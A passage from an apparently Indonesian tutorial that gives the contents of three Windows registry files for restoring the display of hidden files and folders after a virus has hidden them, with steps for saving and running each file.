“ShowSuperHidden”=dword:00000001
“ClassicViewState”=dword:00000000
“PersistBrowsers”=dword:00000000
“Start_LargeMFUIcons”=dword:00000001
“Start_MinMFU”=dword:00000006
Save file dgn nama : showhiddenfiles.reg ( save dimana saja )
2. Start > Run > Notepad
Copy Paste-kan :
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN]
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30501″
“Type”=”radio”
“CheckedValue”=dword:00000002
“ValueName”=”Hidden”
“DefaultValue”=dword:00000000
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51104″
Save file dgn nama : nohidden.reg ( terserah mo di save dimana saja lg…heheh )
3. Start > Run > Notepad
Copy Paste-kan :
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30500″
“Type”=”radio”
“CheckedValue”=dword:00000001
“ValueName”=”Hidden”
“DefaultValue”=dword:00000002
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51105″
Save file dgn nama : showall.reg ( terserah mo di save dimana sj lg….wkwkwk )
Setelah 3 file tersebut diatas jadi, klik satu persatu mulai dr no. 1 s/d 3 ( Pilih “Yes” )
NB : Simpan file ( .REG ) ini baik2, dan apabila suatu zaman nanti file & folder anda di-hidden lg oleh virus, anda dpt menggunakanx kembali….. Ok :)